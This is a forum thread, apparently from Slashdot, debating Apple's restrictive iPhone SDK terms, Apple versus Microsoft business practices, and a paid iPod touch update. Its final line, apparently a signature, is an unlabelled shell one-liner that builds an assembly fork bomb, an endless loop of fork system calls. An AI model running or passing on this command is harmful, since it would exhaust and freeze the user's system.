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iPhone SDK Rules Block Skype, Firefox, Java ...
An anonymous reader writes "Apple's iPhone software development kit is already drawing complaints due to the strict terms of service. Voice over IP apps like Skype that attempt to use the cellular data connection will be blocked. Competing web browsers Firefox and Opera are forbidden. Even Sun is now backpedaling on its recent announcement of a java port, noting that there are some legal issues. Critics are already comparing Apple's methods to Comcast's anti-net neutrality filtering, and Microsoft's Netscape-killing antitrust tactics. Could Apple face government regulators?"
Java Apps mostly suck at UI. I don't think Apple wants to be associate with lousy UI. (Yes, it's a generalization, and I'm sure you can find some example of a mostly decent Java UI somewhere).
WTF, guys? How about you just buy a phone that will allow you to do all of that & tell Steve Jobs to kiss your ass on your way out?
There is a war going on for your mind.
Oh, please.... THAT old claim again?
All that's really clear is that Apple is still in the business of selling a BUNDLED hardware + software computer solution, while Microsoft only sells software.
It has very LITTLE to do with some relative "evilness" of Apple that they don't want people building their own computers to run OS X on. They purposely designed OS X as motivation to sell their machines to people. It's their own product, and their OWN decision if they'd like to openly license it for use on ANY PC out there, or if they'd prefer to keep it only legal for use with THEIR hardware.
Microsoft would undoubtedly do the exact SAME thing, IF they sold Microsoft-branded PCs.
As to the specific issue at-hand, I think it's still premature to get in an uproar over the SDK licensing terms. It seems very likely to me they were written by attorneys who threw together a bunch of "boilerplate" for Apple without realize the full extent of what their limitations would restrict. (Right now, it sounds to me like Sun's plan to bring Java to the iPhone was nothing Apple would have had any issue with, despite the legal details of this SDK appearing to prevent it. They'll probably hash it out and Apple will revise the licensing terms so it's allowed.)
Don't forget, the SDK itself isn't even officially "finished" until some time in June. This stuff was probably cobbled together in a rush, to get something out the door.
Whoa girlfriend! Apple has a long ways to go to reach Microsoft's level of villainy. Not letting you build a OS X box is nowhere near a crime. I think it compares to running competitors out of business by extorting OEM's not to use their products. I don't what level of ignorance modded you up (nevermind mind I do) but, the Apple SDK is not an example of criminality but bad business. For all impressive innovation that the iPhone represents, Apple's business decisions (locking into AT&T, this SDK, restricting third-party etc.) is going to send this product the way of the Newton. I say again it is not criminal for a company to kill its product.
You don't have to be smart to use a Mac, you just have to be smart enough to buy one
Now Apple has about a 6% share of the desktop business, maybe less. That's nowhere near a monopoly so they can be as nasty as they want because you can always choose not to buy their stuff.
And given their users will rationalize away pretty much any sort of abusive behaviour in a "he hits me 'cuz he love me" sort of way, why not squeeze 'em hard?
E.g.
http://www.macworld.com/article/131991/2008/02/ipodtouch.html The iPod touch software update released at last month's Macworld Expo added applications that already appeared on the iPhone along with other new features. But it also delivered some confusion among iPod touch owners who wondered why they were being charged $19.99 for a software update.
It turns out Apple didn't have much of a choice about charging for the iPod touch January software update, according to analysts familiar with accounting regulations.
"It's an accounting requirement that if you upgrade a device that's not on a subscription, you have to charge," Needham and Company financial analyst Charles Wolf said. "Apple has a choice of what to charge, but they have to charge."
The iPod touch software update added five new mobile apps - Mail, Maps, Stocks, Weather, and Notes. (All five apps already appear on the iPhone.) The iPod touch's Maps application also includes the ability to chart your location as well as other features added in the iPhone 1.1.3 software update.
The free iPod touch 1.1.3 software update - which includes important security fixes - also includes all of the new software applications as part of its 165MB download. Purchasing the software upgrade from Apple actually just downloads a tiny file that unlocks the changes you've already downloaded onto your iPod. And interestingly, it's not just the programs that cost money; without paying the $20 upgrade fee, touch users don't get the ability to rearrange icons or view songs lyrics either, for example.
Both the iPhone and iPod updates appeared at the same time, yet only the latter featured a charge. However, that's because Apple accounts for the iPhone on a subscription basis; it accounts for the iPod touch differently, and so it has to charge for an upgraded device, analysts say. It's hilarious really.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;